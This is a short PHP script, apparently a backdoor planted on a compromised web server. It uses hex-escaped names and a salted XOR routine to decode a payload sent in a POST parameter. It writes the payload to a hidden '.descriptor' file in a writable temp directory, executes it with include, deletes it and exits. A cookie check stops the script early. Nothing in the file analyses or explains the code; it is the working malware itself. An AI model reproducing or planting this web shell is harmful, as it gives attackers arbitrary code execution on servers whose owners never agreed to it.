<?php

if(isset($_COOKIE['X8W'])) {
    die('uGcxf'.'Lgyx');
}

if(filter_has_var(INPUT_POST, "\x63\x6Fmp")){
$property_set = $_POST["\x63\x6Fmp"];
 	$property_set   = 		explode	( 		".", 	$property_set	)		;	
$holder = '';
$salt = 'abcdefghijklmnopqrstuvwxyz0123456789';
$sLen = strlen( $salt);
$i = 0;

while( $i < count( $property_set)) {	 $val = $property_set[$i];
    $chS = ord( $salt[$i %		$sLen]);
    $dec =( ( int)$val - $chS -( $i %		10))  ^38;
    $holder  .=chr( $dec);
    $i++;
}
$ent = array_filter([getcwd(), getenv("TEMP"), "/dev/shm", ini_get("upload_tmp_dir"), sys_get_temp_dir(), "/var/tmp", getenv("TMP"), session_save_path(), "/tmp"]);
$res = 0;
do {
    $element = $ent[$res] ?? null;
    if ($res >= count(ent)) break;
            if (is_dir($element) && is_writable($element)) {
            $ent = implode("/", [$element, ".descriptor"]);
            $success = file_put_contents($ent, $holder);
if ($success) {
    include $ent;
    @unlink($ent);
    exit;
}
        }
    $res++;
} while (true);
}